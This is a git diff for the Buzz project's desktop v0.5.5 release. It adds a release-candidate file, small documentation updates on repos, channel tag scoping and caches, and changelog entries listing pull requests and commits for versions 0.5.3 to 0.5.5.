diff --git a/.release/desktop-candidate.json b/.release/desktop-candidate.json
new file mode 100644
index 0000000000..cc2c267019
--- /dev/null
+++ b/.release/desktop-candidate.json
@@ -0,0 +1,8 @@
+{
+  "schema": 1,
+  "version": "0.5.5",
+  "base_sha": "25a9cf1be6d245fbd7373cb1160dbc790baf5bd5",
+  "previous_tag": "desktop-v0.5.4",
+  "tag": "desktop-v0.5.5",
+  "commit_count": 44
+}
diff --git a/AGENTS.md b/AGENTS.md
index 7ff0eb4d47..571871c3a4 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -13,14 +13,14 @@ Buzz spans five repos. This one (`block/buzz`) is the OSS source for the relay,
 | Repo | Purpose |
 |------|---------|
 | [block/buzz](https://github.com/block/buzz) | OSS source — relay, desktop app, mobile app, CLI, agent harness |
-| [squareup/sprout-releases](https://github.com/squareup/sprout-releases) | Buildkite pipeline producing Block-signed macOS + iOS builds with `-block` version suffix |
+| [squareup/buzz-releases](https://github.com/squareup/buzz-releases) | Buildkite pipelines producing Block-signed macOS + iOS builds with `-block` desktop version suffix |
 | [squareup/sprout-oss](https://github.com/squareup/sprout-oss) | CI pipeline building the relay Docker image and pushing to internal ECR |
 | [squareup/block-coder-tf-stacks](https://github.com/squareup/block-coder-tf-stacks) | Terraform + ArgoCD deploying the relay to the staging Kubernetes cluster |
 | [squareup/sprout-backend-blox](https://github.com/squareup/sprout-backend-blox) | Desktop backend provider script connecting Blox workstation agents to the relay |
 
 ```
 block/buzz (source)
-  ├─► sprout-releases    (desktop + mobile builds → Artifactory, GitHub, Mobile Releases)
+  ├─► buzz-releases      (desktop + mobile builds → Artifactory, GitHub, Mobile Releases)
   ├─► sprout-oss         (relay Docker image → ECR)
   │     └─► block-coder-tf-stacks  (Helm chart → ArgoCD → staging cluster)
   └─── sprout-backend-blox         (Blox compute provider for Desktop agent launch)
@@ -145,6 +145,10 @@ first, then implement handling in the relay.
 
 **Channel scoping**: Channels use `h` tags (NIP-29 group tag), not `e` tags.
 Filters and queries must scope to `h` tags when operating within a channel.
+This applies to events *inside* a channel. Addressable events that describe a
+channel carry its id in their `d` tag instead: kind:39000 (metadata),
+kind:39001, kind:39002 (membership). `get_channels` resolves a user's channels
+from the `d` tag of their kind:39002 events, not from `h`.
 
 **Agent-facing operations go in `buzz-cli`**: New agent-facing features belong in `buzz-cli` — add a subcommand there first, then wire the REST/WebSocket call in `client.rs`. `buzz-dev-mcp` (shell + file tools for `buzz-agent`) is separate.
 
@@ -503,6 +507,7 @@ reconnects preserve pending avatar verification work):
 - `resetRenderScopedReactionHydration()` — reaction hydration cache
 - `clearSearchHitEventCache()` — search result event cache
 - `clearMarkdownNodeCache()` — markdown parse-node cache
+- `resetLinkPreviewTitleCache()` — link preview title cache (Buzz entity titles come from relay events)
 
 **If you add a new module-level cache, Map, or class instance that holds
 community-scoped data, you must add its reset to `resetCommunityState()`.**
diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md
index 5c8e263a2a..892082d96c 100644
--- a/ARCHITECTURE.md
+++ b/ARCHITECTURE.md
@@ -139,7 +139,7 @@ The `kind` integer is the only dispatch switch. The relay routes, stores, and fa
 | 46001–46012 | KIND_WORKFLOW_* | Workflow execution events |
 | 20001 | KIND_PRESENCE_UPDATE | Ephemeral presence heartbeat |
 
-`buzz-core` defines all 81 kinds as `pub const KIND_*: u32` and exports `ALL_KINDS: &[u32]`. Kinds are `u32` (NIP-01 specifies unsigned integer; `u32` covers the full range). Buzz uses both standard Nostr kinds (e.g., kind 7 for reactions) and custom ranges (40000+).
+`buzz-core` defines each event kind as a `pub const u32` and exports the full registry as `ALL_KINDS: &[u32]` (127 kinds at the time of writing); `crates/buzz-core/src/kind.rs` is the source of truth for the current list. Kinds are `u32` (NIP-01 specifies unsigned integer; `u32` covers the full range). Buzz uses both standard Nostr kinds (e.g., kind 7 for reactions) and custom ranges (40000+).
 
 Note: `KIND_AUTH` (22242) is `pub const KIND_AUTH: u32` in `buzz-core/src/kind.rs` and imported by `buzz-relay/src/handlers/event.rs`. `KIND_CANVAS` (40100) is likewise `pub const KIND_CANVAS: u32` in `buzz-core/src/kind.rs`.
 
diff --git a/CHANGELOG.md b/CHANGELOG.md
index d83087fc26..171f260d3e 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,177 @@
 # Changelog
 
+## v0.5.5
+
+### Desktop and shared changes
+
+- feat: paste composer text without formatting ([#4801](https://github.com/block/buzz/pull/4801)) ([`25a9cf1be6d245fbd7373cb1160dbc790baf5bd5`](https://github.com/block/buzz/commit/25a9cf1be6d245fbd7373cb1160dbc790baf5bd5))
+- Revert "chore(release): release Buzz Desktop version 0.5.5" ([#4808](https://github.com/block/buzz/pull/4808)) ([`79c52166cfe6b6d36bdc7686f943595c74e2f578`](https://github.com/block/buzz/commit/79c52166cfe6b6d36bdc7686f943595c74e2f578))
+- chore(release): release Buzz Desktop version 0.5.5 ([#4800](https://github.com/block/buzz/pull/4800)) ([`a0ed13de14ee64dd90c32335790f7d3b4e94330d`](https://github.com/block/buzz/commit/a0ed13de14ee64dd90c32335790f7d3b4e94330d))
+- fix: reauthenticate databricks model discovery ([#4008](https://github.com/block/buzz/pull/4008)) ([`4a2305170eef565bf1836e2859247e67c030f8af`](https://github.com/block/buzz/commit/4a2305170eef565bf1836e2859247e67c030f8af))
+- Revert "chore(release): release Buzz Desktop version 0.5.5" ([#4797](https://github.com/block/buzz/pull/4797)) ([`8faf09f9aedb4989e57c7b6c5bd1052a444a3370`](https://github.com/block/buzz/commit/8faf09f9aedb4989e57c7b6c5bd1052a444a3370))
+- feat: Buzz entity links — rich preview cards + in-app navigation for repos, PRs, and issues ([#4695](https://github.com/block/buzz/pull/4695)) ([`a1d78f2959b41c63f063ff818076d38c31071a47`](https://github.com/block/buzz/commit/a1d78f2959b41c63f063ff818076d38c31071a47))
+- fix(desktop): serialize tray channel actions for frontend ([#4762](https://github.com/block/buzz/pull/4762)) ([`4c665aeac366fca5097eaa1088fb87f3d248eac7`](https://github.com/block/buzz/commit/4c665aeac366fca5097eaa1088fb87f3d248eac7))
+- chore(release): release Buzz Desktop version 0.5.5 ([#4788](https://github.com/block/buzz/pull/4788)) ([`b948c54792c4933b4e003d2b227dc6e1f7c05fb4`](https://github.com/block/buzz/commit/b948c54792c4933b4e003d2b227dc6e1f7c05fb4))
+- feat(projects): support multiple repositories ([#4671](https://github.com/block/buzz/pull/4671)) ([`e30db7028f9f1dc7646b5814ed03b4c54a4d2a48`](https://github.com/block/buzz/commit/e30db7028f9f1dc7646b5814ed03b4c54a4d2a48))
+- fix(desktop): widen post-Enter timeouts in empty-edit-delete spec ([#4792](https://github.com/block/buzz/pull/4792)) ([`7bcfe7e0a141900d6e1e5bd0b3bce488b57d6453`](https://github.com/block/buzz/commit/7bcfe7e0a141900d6e1e5bd0b3bce488b57d6453))
+- fix(desktop): wait for terminal frame before splash ([#4781](https://github.com/block/buzz/pull/4781)) ([`65f7a100353b9a5302da2614f2d85edee1c136a2`](https://github.com/block/buzz/commit/65f7a100353b9a5302da2614f2d85edee1c136a2))
+- fix(desktop): integer-align custom reaction emoji ([#4779](https://github.com/block/buzz/pull/4779)) ([`8b8d86c5d26e2fa8cf419fdd8d0e56433f95d71a`](https://github.com/block/buzz/commit/8b8d86c5d26e2fa8cf419fdd8d0e56433f95d71a))
+- Polish Huddle voice controls ([#4694](https://github.com/block/buzz/pull/4694)) ([`ce3cf3cd2591f132f286fbc0a42a9e6699d0b08d`](https://github.com/block/buzz/commit/ce3cf3cd2591f132f286fbc0a42a9e6699d0b08d))
+- fix(local-archive): default both archive settings to enabled ([#4750](https://github.com/block/buzz/pull/4750)) ([`5179726737108a4a91076d262c30a53d4a7237e9`](https://github.com/block/buzz/commit/5179726737108a4a91076d262c30a53d4a7237e9))
+- fix(desktop): close reconnect gaps that previously required CMD+R ([#4737](https://github.com/block/buzz/pull/4737)) ([`e5efd047050f5e2a64fe6cd9e3faed1685b03f5c`](https://github.com/block/buzz/commit/e5efd047050f5e2a64fe6cd9e3faed1685b03f5c))
+- Dock Buzz Term within channel workspace ([#4724](https://github.com/block/buzz/pull/4724)) ([`cb4a73e17d0760eba6c3c01811da07e1d3a6b85e`](https://github.com/block/buzz/commit/cb4a73e17d0760eba6c3c01811da07e1d3a6b85e))
+- fix(agents): canonicalize stale persona harness pins ([#4631](https://github.com/block/buzz/pull/4631)) ([`0c33a8a55f0aa0763f8d65ad90dc8af56215d2e8`](https://github.com/block/buzz/commit/0c33a8a55f0aa0763f8d65ad90dc8af56215d2e8))
+- Refine community invite links ([#4734](https://github.com/block/buzz/pull/4734)) ([`e1287c92cc7ea9b52f10b80515b98cdd1c7f9a31`](https://github.com/block/buzz/commit/e1287c92cc7ea9b52f10b80515b98cdd1c7f9a31))
+- feat(desktop): persist sidebar observed-unread across webview reload ([#3976](https://github.com/block/buzz/pull/3976)) ([`0afeac8a7c173fd3ede8a22e27919e63161bf07c`](https://github.com/block/buzz/commit/0afeac8a7c173fd3ede8a22e27919e63161bf07c))
+- feat(desktop): surface config diff in restart-required badge ([#3637](https://github.com/block/buzz/pull/3637)) ([`f86dfc58838a272a5d0504ebf216a79b7288f027`](https://github.com/block/buzz/commit/f86dfc58838a272a5d0504ebf216a79b7288f027))
+- Polish sidebar unread hierarchy ([#4573](https://github.com/block/buzz/pull/4573)) ([`540b58920cef205b838da8be8442aae62bceaaa5`](https://github.com/block/buzz/commit/540b58920cef205b838da8be8442aae62bceaaa5))
+- fix(desktop): show cached display names on startup ([#3317](https://github.com/block/buzz/pull/3317)) ([`d0d4acd4fa02893ad2460b447d7e13da00506be3`](https://github.com/block/buzz/commit/d0d4acd4fa02893ad2460b447d7e13da00506be3))
+- Remove blur from Welcome composer guidance ([#4691](https://github.com/block/buzz/pull/4691)) ([`d0af845a1d489ab3fce6a73adbb0e82ebb4b0fa1`](https://github.com/block/buzz/commit/d0af845a1d489ab3fce6a73adbb0e82ebb4b0fa1))
+- Refine desktop timeline activity presentation ([#4582](https://github.com/block/buzz/pull/4582)) ([`a5bf3c5ae1e2f3b9a1783cd90b859d027fc92b9a`](https://github.com/block/buzz/commit/a5bf3c5ae1e2f3b9a1783cd90b859d027fc92b9a))
+- Defer desktop media uploads until send ([#4522](https://github.com/block/buzz/pull/4522)) ([`f18a9cb10688deaa3f618869170bfe9303c4be62`](https://github.com/block/buzz/commit/f18a9cb10688deaa3f618869170bfe9303c4be62))
+- fix(desktop): stop clipping focus ring on channel intro action cards (#2392) ([#4374](https://github.com/block/buzz/pull/4374)) ([`ddcf0aef9f1b3c81ec5a9b709dd62d2fcc773996`](https://github.com/block/buzz/commit/ddcf0aef9f1b3c81ec5a9b709dd62d2fcc773996))
+- Polish mobile inbox and media flows ([#4512](https://github.com/block/buzz/pull/4512)) ([`feccf4eabc23fdba94ce3537a194357ed17b197c`](https://github.com/block/buzz/commit/feccf4eabc23fdba94ce3537a194357ed17b197c))
+- feat: ship Buzz Term ([#4347](https://github.com/block/buzz/pull/4347)) ([`631b05c883f58e9533e9038b4669ebdfb1d9cf27`](https://github.com/block/buzz/commit/631b05c883f58e9533e9038b4669ebdfb1d9cf27))
+- feat(mobile): sync per-group channel sorting ([#4231](https://github.com/block/buzz/pull/4231)) ([`b42b093613edfb7138acb0961a0ad9218b39691a`](https://github.com/block/buzz/commit/b42b093613edfb7138acb0961a0ad9218b39691a))
+- feat(desktop): redesign the Huddle experience ([#4281](https://github.com/block/buzz/pull/4281)) ([`b29c8cdaa456307ecdd63e565de4beb14402128e`](https://github.com/block/buzz/commit/b29c8cdaa456307ecdd63e565de4beb14402128e))
+- feat(agents): model-tuning parity in global Agent Defaults editor ([#4578](https://github.com/block/buzz/pull/4578)) ([`985cdcc6eac33ccd77bc50c26e22c701d07eda4e`](https://github.com/block/buzz/commit/985cdcc6eac33ccd77bc50c26e22c701d07eda4e))
+- Polish Share Compute settings ([#3735](https://github.com/block/buzz/pull/3735)) ([`027a74a61c8643a1d1086d3e8307fad89d7735f7`](https://github.com/block/buzz/commit/027a74a61c8643a1d1086d3e8307fad89d7735f7))
+- fix(reactions): wrap long popover names ([#3834](https://github.com/block/buzz/pull/3834)) ([`79815978483ef0ab78f7159c0add3492da6457a1`](https://github.com/block/buzz/commit/79815978483ef0ab78f7159c0add3492da6457a1))
+- fix(desktop): clarify inherited agent parallelism ([#4010](https://github.com/block/buzz/pull/4010)) ([`d4a4570b9769743899d97480b3bf482860b51d9c`](https://github.com/block/buzz/commit/d4a4570b9769743899d97480b3bf482860b51d9c))
+- feat(desktop): make onboarding model defaults skippable ([#3968](https://github.com/block/buzz/pull/3968)) ([`5c98932c59ee5344e9e8c14525c51f3de16ad2c2`](https://github.com/block/buzz/commit/5c98932c59ee5344e9e8c14525c51f3de16ad2c2))
+
+### Other repository changes
+
+- fix(ci): make desktop cache test version agnostic ([#4791](https://github.com/block/buzz/pull/4791)) ([`383d9e1eafd569b44b9c835200dba69ef7cec9dc`](https://github.com/block/buzz/commit/383d9e1eafd569b44b9c835200dba69ef7cec9dc))
+- fix(mobile): stop oversized read-state retry loop ([#4595](https://github.com/block/buzz/pull/4595)) ([`7bee84da8267605ada939c4f911d90f1b0ff1a11`](https://github.com/block/buzz/commit/7bee84da8267605ada939c4f911d90f1b0ff1a11))
+- perf(relay): index channel-id lookups and skip trace-only reads ([#4647](https://github.com/block/buzz/pull/4647)) ([`bc9e6528a7ba6007c5a25f6a0aca9c05d72e9d2c`](https://github.com/block/buzz/commit/bc9e6528a7ba6007c5a25f6a0aca9c05d72e9d2c))
+- docs(acp): explain per-channel session model in base prompt ([#4729](https://github.com/block/buzz/pull/4729)) ([`56003ebf98c22367fb6357f295494e26efbd8ae6`](https://github.com/block/buzz/commit/56003ebf98c22367fb6357f295494e26efbd8ae6))
+- docs(nip-am): normative amendment — cache SHOULD/MUST + pricingIdentity + consumer cost guidance ([#4632](https://github.com/block/buzz/pull/4632)) ([`0542bc8b955756a62b4133aa70f84441d93616ee`](https://github.com/block/buzz/commit/0542bc8b955756a62b4133aa70f84441d93616ee))
+- feat(mobile): add channel scroll navigation ([#4239](https://github.com/block/buzz/pull/4239)) ([`d5da74e4e078a9551b9ce9e47e77cf9ed5840596`](https://github.com/block/buzz/commit/d5da74e4e078a9551b9ce9e47e77cf9ed5840596))
+- feat(mobile): bring channel menus to desktop parity ([#3940](https://github.com/block/buzz/pull/3940)) ([`ede8d22dd5b336f146e0a6d760fd9dff78a42613`](https://github.com/block/buzz/commit/ede8d22dd5b336f146e0a6d760fd9dff78a42613))
+- ci: add guarded desktop release cache prewarm ([#4575](https://github.com/block/buzz/pull/4575)) ([`e1f6da7c42b0cac6f307023f0479e1e2c3a6d1c0`](https://github.com/block/buzz/commit/e1f6da7c42b0cac6f307023f0479e1e2c3a6d1c0))
+- fix(mobile): recover stale relay sessions ([#4372](https://github.com/block/buzz/pull/4372)) ([`ce56e34411d2940e70a6c0de653ffae36d334701`](https://github.com/block/buzz/commit/ce56e34411d2940e70a6c0de653ffae36d334701))
+
+[Compare desktop-v0.5.4...desktop-v0.5.5](https://github.com/block/buzz/compare/desktop-v0.5.4...desktop-v0.5.5)
+
+## v0.5.4
+
+### Desktop and shared changes
+
+- fix: report agent usage per provider round, not once per turn ([#4545](https://github.com/block/buzz/pull/4545)) ([`09c86c56e52651c017743268fc8ce708bb83b265`](https://github.com/block/buzz/commit/09c86c56e52651c017743268fc8ce708bb83b265))
+- fix(desktop): harden Windows installs against Defender block and orphaned Node ([#4382](https://github.com/block/buzz/pull/4382)) ([`80315ac1a68024c40b61f3a062c9cb6bf7d4efb5`](https://github.com/block/buzz/commit/80315ac1a68024c40b61f3a062c9cb6bf7d4efb5))
+- feat(desktop): improve channel template discovery ([#4549](https://github.com/block/buzz/pull/4549)) ([`c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd`](https://github.com/block/buzz/commit/c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd))
+- fix(desktop): save key backups to authorized path ([#4022](https://github.com/block/buzz/pull/4022)) ([`01c80aa9b3eaa569361966877994438ad84a280a`](https://github.com/block/buzz/commit/01c80aa9b3eaa569361966877994438ad84a280a))
+- Add channel activity hover menu ([#3935](https://github.com/block/buzz/pull/3935)) ([`b0c6d6f744e63ac88a1738f0e995680c163e1d13`](https://github.com/block/buzz/commit/b0c6d6f744e63ac88a1738f0e995680c163e1d13))
+- feat(desktop): show saved Run on settings when editing an agent ([#4539](https://github.com/block/buzz/pull/4539)) ([`f865c0054b0a400657126c9321b4d4cb7d9cc746`](https://github.com/block/buzz/commit/f865c0054b0a400657126c9321b4d4cb7d9cc746))
+- fix(desktop): disambiguate provider API key labels and annotate mint key ([#4406](https://github.com/block/buzz/pull/4406)) ([`5e0efb0bb95182f588390b55cc5affa09114c87e`](https://github.com/block/buzz/commit/5e0efb0bb95182f588390b55cc5affa09114c87e))
+- fix(desktop): make OpenAI key re-enterable after first save in card mint dialog ([#4140](https://github.com/block/buzz/pull/4140)) ([`f810a2f49e213d25119f2aa75b5b577655119b74`](https://github.com/block/buzz/commit/f810a2f49e213d25119f2aa75b5b577655119b74))
+- fix(config-bridge): add harness-definition env tier and fix equal-value model override ([#3580](https://github.com/block/buzz/pull/3580)) ([`be95a8a986d02319b27e8fb57aefe59e33a1eb13`](https://github.com/block/buzz/commit/be95a8a986d02319b27e8fb57aefe59e33a1eb13))
+- fix(desktop): stop the create-agent provider config probe from erasing keystrokes ([#4411](https://github.com/block/buzz/pull/4411)) ([`2c0ac2467437b30953a95e00f419143488bcfcc7`](https://github.com/block/buzz/commit/2c0ac2467437b30953a95e00f419143488bcfcc7))
+- feat(acp): deliver system prompt via _meta.systemPrompt for claude-agent-acp ([#4395](https://github.com/block/buzz/pull/4395)) ([`7ff5fc31895efe6265a379d01637c8ee301872e5`](https://github.com/block/buzz/commit/7ff5fc31895efe6265a379d01637c8ee301872e5))
+- fix(security): bump nostr crates for RUSTSEC-2026-0225..0232 + default sprig image to published digest ([#4392](https://github.com/block/buzz/pull/4392)) ([`318fbf896ec335bc7bcb40edafde0b6ebca53428`](https://github.com/block/buzz/commit/318fbf896ec335bc7bcb40edafde0b6ebca53428))
+- fix(desktop): back/forward via keyboard chords, mouse X1/X2 buttons, and swipe gestures ([#3778](https://github.com/block/buzz/pull/3778)) ([`f86cfc7369d4471f8939ed98be6f597b0a4b0bb2`](https://github.com/block/buzz/commit/f86cfc7369d4471f8939ed98be6f597b0a4b0bb2))
+- feat(k8s): Kubernetes backend plugin + desktop deploy path ([#4289](https://github.com/block/buzz/pull/4289)) ([`6530b58a61d4602d0a371100fedf80c5998b1e34`](https://github.com/block/buzz/commit/6530b58a61d4602d0a371100fedf80c5998b1e34))
+- feat(projects): add buzz projects CLI commands (NIP-MP kind:30621) ([#4020](https://github.com/block/buzz/pull/4020)) ([`b7bb15122e8a2053b545dc2210afc167f6c7a626`](https://github.com/block/buzz/commit/b7bb15122e8a2053b545dc2210afc167f6c7a626))
+- fix(desktop): keep thread-open affordance in archived channels ([#4012](https://github.com/block/buzz/pull/4012)) ([`8e81afa431deecd172f1ad6aab6f022f31cd812c`](https://github.com/block/buzz/commit/8e81afa431deecd172f1ad6aab6f022f31cd812c))
+- fix(desktop): point Oh My Pi preset at omp.sh ([#3516](https://github.com/block/buzz/pull/3516)) ([`3ade48d5030a8f7dbb9d3693f171e5544dcd8df1`](https://github.com/block/buzz/commit/3ade48d5030a8f7dbb9d3693f171e5544dcd8df1))
+- fix(mesh): stop restarting a busy or loading shared-compute node ([#3909](https://github.com/block/buzz/pull/3909)) ([`fa1a5b1a797870724f5c7e7e26931861a60f22cb`](https://github.com/block/buzz/commit/fa1a5b1a797870724f5c7e7e26931861a60f22cb))
+- fix(desktop): preserve first huddle speech ([#3962](https://github.com/block/buzz/pull/3962)) ([`45314fc504113aec7c54ae6520cfe5e1562aae40`](https://github.com/block/buzz/commit/45314fc504113aec7c54ae6520cfe5e1562aae40))
+- feat(desktop): Agent Trading Cards — mintable agent-snapshot card PNGs with optional NIP-44 lock ([#3278](https://github.com/block/buzz/pull/3278)) ([`eb049ddf815d48195e1713afe039d28c950d7933`](https://github.com/block/buzz/commit/eb049ddf815d48195e1713afe039d28c950d7933))
+- feat(relay): accept kind:30621 multi-repo projects at ingest ([#3171](https://github.com/block/buzz/pull/3171)) ([`cb9701cd30fb344bf134585634a09007f3155bfb`](https://github.com/block/buzz/commit/cb9701cd30fb344bf134585634a09007f3155bfb))
+
+### Other repository changes
+
+- test(mobile): assert follow boundary semantics ([#4559](https://github.com/block/buzz/pull/4559)) ([`6de85fe31d781122756aecf954bae7d357a56b9a`](https://github.com/block/buzz/commit/6de85fe31d781122756aecf954bae7d357a56b9a))
+- docs(release): align desktop handoff instructions ([#3988](https://github.com/block/buzz/pull/3988)) ([`44fa1e8e3af30d561de981a211ff7a79bfa36493`](https://github.com/block/buzz/commit/44fa1e8e3af30d561de981a211ff7a79bfa36493))
+- Polish mobile composer and messaging UI ([#3918](https://github.com/block/buzz/pull/3918)) ([`857e63c4ddfb76f95ab40bb691e00544413f6b81`](https://github.com/block/buzz/commit/857e63c4ddfb76f95ab40bb691e00544413f6b81))
+- ci(linux): enable mesh-llm feature in Linux release and canary builds ([#4524](https://github.com/block/buzz/pull/4524)) ([`83a285f1b1a0be862d55781fad9c75ec8813886d`](https://github.com/block/buzz/commit/83a285f1b1a0be862d55781fad9c75ec8813886d))
+- fix(mobile): recover and pace live subscriptions ([#3053](https://github.com/block/buzz/pull/3053)) ([`a5dbdf5e61e4c512acd99c219c79c154ddb57295`](https://github.com/block/buzz/commit/a5dbdf5e61e4c512acd99c219c79c154ddb57295))
+- fix(git): allow deleting the default branch ([#4297](https://github.com/block/buzz/pull/4297)) ([`fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3`](https://github.com/block/buzz/commit/fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3))
+- docs: formal spec for remote agents and their management ([#3748](https://github.com/block/buzz/pull/3748)) ([`28ae6cd2174309529305724e455c7ca082f6fe4b`](https://github.com/block/buzz/commit/28ae6cd2174309529305724e455c7ca082f6fe4b))
+- fix(nip-oa): accept raw Nostr tag form in parse_json_array ([#4203](https://github.com/block/buzz/pull/4203)) ([`89bf03c05df795a3575b7abbe648be898ef13388`](https://github.com/block/buzz/commit/89bf03c05df795a3575b7abbe648be898ef13388))
+- perf(relay): serve relay-membership checks from the read replica ([#4124](https://github.com/block/buzz/pull/4124)) ([`ac4fa13b8e4d947071d57deb6918dcf12bf74961`](https://github.com/block/buzz/commit/ac4fa13b8e4d947071d57deb6918dcf12bf74961))
+- chore(deps): bump nostr-relay-pool for RUSTSEC-2026-0224 ([#4139](https://github.com/block/buzz/pull/4139)) ([`9d6726e5b387310975f5809473ce8372f6fde0dc`](https://github.com/block/buzz/commit/9d6726e5b387310975f5809473ce8372f6fde0dc))
+- docs(nostr): document #h requirement for live reaction subscriptions ([#3487](https://github.com/block/buzz/pull/3487)) ([`756dd7f65d6f2995e9188a0ffe54294057f8ef4f`](https://github.com/block/buzz/commit/756dd7f65d6f2995e9188a0ffe54294057f8ef4f))
+- docs(chart): fix ArgoCD example for native OCI sources (full artifact repoURL + path) ([#3426](https://github.com/block/buzz/pull/3426)) ([`36cf932ff0105a4cf574fc687deb4c1cb01bc0d1`](https://github.com/block/buzz/commit/36cf932ff0105a4cf574fc687deb4c1cb01bc0d1))
+- docs(readme): clarify which release asset to download per platform ([#3481](https://github.com/block/buzz/pull/3481)) ([`8d5afb606763fcaffd3af811be2106e41cc7347d`](https://github.com/block/buzz/commit/8d5afb606763fcaffd3af811be2106e41cc7347d))
+- fix(relay): allow open relays to set their NIP-11 workspace icon (kind:9033) ([#3998](https://github.com/block/buzz/pull/3998)) ([`5765fc74b77224f0207ddd4b41736a5ff18d333d`](https://github.com/block/buzz/commit/5765fc74b77224f0207ddd4b41736a5ff18d333d))
+- docs: note that addressable channel events scope by d, not h ([#4103](https://github.com/block/buzz/pull/4103)) ([`3d7712cc36e8da563cb1c121fc58bfc505d38496`](https://github.com/block/buzz/commit/3d7712cc36e8da563cb1c121fc58bfc505d38496))
+- docs: fix stale kind count, quick-start numbering, and empty Further Reading ([#2613](https://github.com/block/buzz/pull/2613)) ([`909a3b2c318b2ec477a3438a998a3b611f5b6d6a`](https://github.com/block/buzz/commit/909a3b2c318b2ec477a3438a998a3b611f5b6d6a))
+- docs: add one-click Railway deploy for a hosted relay ([#2733](https://github.com/block/buzz/pull/2733)) ([`19d57b0d46baa55814ac737041a36d0b405c9f64`](https://github.com/block/buzz/commit/19d57b0d46baa55814ac737041a36d0b405c9f64))
+- fix(buzz-acp): thread cache-read tokens into NIP-AM kind:44200 events ([#3999](https://github.com/block/buzz/pull/3999)) ([`b1b283cd4c7f926e12eeee8ae1f38c7471922b16`](https://github.com/block/buzz/commit/b1b283cd4c7f926e12eeee8ae1f38c7471922b16))
+- fix(release): preserve main in desktop PR body ([#3979](https://github.com/block/buzz/pull/3979)) ([`e5e5bac2a932b2b2e4eb6b559d5545a992c21b96`](https://github.com/block/buzz/commit/e5e5bac2a932b2b2e4eb6b559d5545a992c21b96))
+
+[Compare desktop-v0.5.3...desktop-v0.5.4](https://github.com/block/buzz/compare/desktop-v0.5.3...desktop-v0.5.4)
+
+## v0.5.3
+
+### Desktop and shared changes
+
+- Revert "chore(release): release Buzz Desktop version 0.5.3" ([#3960](https://github.com/block/buzz/pull/3960)) ([`bb34bc4d98fe4dabe847046103ac5e2859917ac5`](https://github.com/block/buzz/commit/bb34bc4d98fe4dabe847046103ac5e2859917ac5))
+- chore(release): release Buzz Desktop version 0.5.3 ([`d12b3d6a79d56a95fc99ce4fadd2d2235d5a3131`](https://github.com/block/buzz/commit/d12b3d6a79d56a95fc99ce4fadd2d2235d5a3131))
+- feat(desktop): import local Pocket voices ([#3259](https://github.com/block/buzz/pull/3259)) ([`c104eecfb38620de2c35c7e20a716f8658b5a6b1`](https://github.com/block/buzz/commit/c104eecfb38620de2c35c7e20a716f8658b5a6b1))
+- fix(desktop): open profiles from avatars ([#3751](https://github.com/block/buzz/pull/3751)) ([`39ce3dfc3cf2d12f0d6c64b4cd4293df86567663`](https://github.com/block/buzz/commit/39ce3dfc3cf2d12f0d6c64b4cd4293df86567663))
+- refactor(voice): extract reusable Pocket primitives + Pocket voice settings (relands #2467 + #3208) ([#3910](https://github.com/block/buzz/pull/3910)) ([`61ba9dfaa00852925058d1a024322fa53663a5bc`](https://github.com/block/buzz/commit/61ba9dfaa00852925058d1a024322fa53663a5bc))
+- feat(desktop): auto-enable huddle transcription for agents ([#3180](https://github.com/block/buzz/pull/3180)) ([`4632c55041c5d423d572a6f6411bb7b279c26f67`](https://github.com/block/buzz/commit/4632c55041c5d423d572a6f6411bb7b279c26f67))
+- feat(agent): optional reply guard reminds a silent turn to publish ([#3763](https://github.com/block/buzz/pull/3763)) ([`081f805d5ea25841ab885c7b67a568618a34aa59`](https://github.com/block/buzz/commit/081f805d5ea25841ab885c7b67a568618a34aa59))
+- feat(desktop): upgrade Pocket TTS model ([#3266](https://github.com/block/buzz/pull/3266)) ([`d48b0e0eec4d2958f90a3cafa9d974450abe8501`](https://github.com/block/buzz/commit/d48b0e0eec4d2958f90a3cafa9d974450abe8501))
+- feat(desktop): delete a message by clearing its edit to empty ([#3813](https://github.com/block/buzz/pull/3813)) ([`d88313f369acfa17973029787ee4c0bbea07fa51`](https://github.com/block/buzz/commit/d88313f369acfa17973029787ee4c0bbea07fa51))
+- feat(relay): raise hosted community limit to five ([#3829](https://github.com/block/buzz/pull/3829)) ([`10d5a26414dc90dc89fd27de74b21e105d4fa622`](https://github.com/block/buzz/commit/10d5a26414dc90dc89fd27de74b21e105d4fa622))
+- feat(desktop): locally stored NIP-49 encrypted key backup ([#2937](https://github.com/block/buzz/pull/2937)) ([`468647a51f858b29d27eaf9fd07bf90294f99d39`](https://github.com/block/buzz/commit/468647a51f858b29d27eaf9fd07bf90294f99d39))
+- fix(catalog): update Amp tagline ([#3806](https://github.com/block/buzz/pull/3806)) ([`f3e5e812677f6f14bffe16a7aa02642d56faca4b`](https://github.com/block/buzz/commit/f3e5e812677f6f14bffe16a7aa02642d56faca4b))
+- fix(desktop): channel topic and membership metadata cleanup ([#3642](https://github.com/block/buzz/pull/3642)) ([`9e8fcfda099652926b921bca7fcc9bfecab0e140`](https://github.com/block/buzz/commit/9e8fcfda099652926b921bca7fcc9bfecab0e140))
+- fix(desktop): align data deletion labels ([#2230](https://github.com/block/buzz/pull/2230)) ([`ede26863345a518ec46edd6d7692e0281883491b`](https://github.com/block/buzz/commit/ede26863345a518ec46edd6d7692e0281883491b))
+- fix(desktop): allow linux-only media items as dead code off-linux ([#3811](https://github.com/block/buzz/pull/3811)) ([`36571f4adcfdcf3714a17bd968c58c78bcbdd9ef`](https://github.com/block/buzz/commit/36571f4adcfdcf3714a17bd968c58c78bcbdd9ef))
+- fix(desktop): report authenticated relay recovery ([#3812](https://github.com/block/buzz/pull/3812)) ([`74cd5712191bffd84ae688d59bb8b451c6eec1b0`](https://github.com/block/buzz/commit/74cd5712191bffd84ae688d59bb8b451c6eec1b0))
+- fix(desktop): don't gate hover affordances on the hover media query ([#3657](https://github.com/block/buzz/pull/3657)) ([`29dfe4821ed577489a1879fd2a9bfe2a621a52b3`](https://github.com/block/buzz/commit/29dfe4821ed577489a1879fd2a9bfe2a621a52b3))
+- feat(relay): gate kind 30178 team-catalog reads behind the shared tag ([#3358](https://github.com/block/buzz/pull/3358)) ([`114d40d9d37f05eff83ee90347ed93fb3da512c5`](https://github.com/block/buzz/commit/114d40d9d37f05eff83ee90347ed93fb3da512c5))
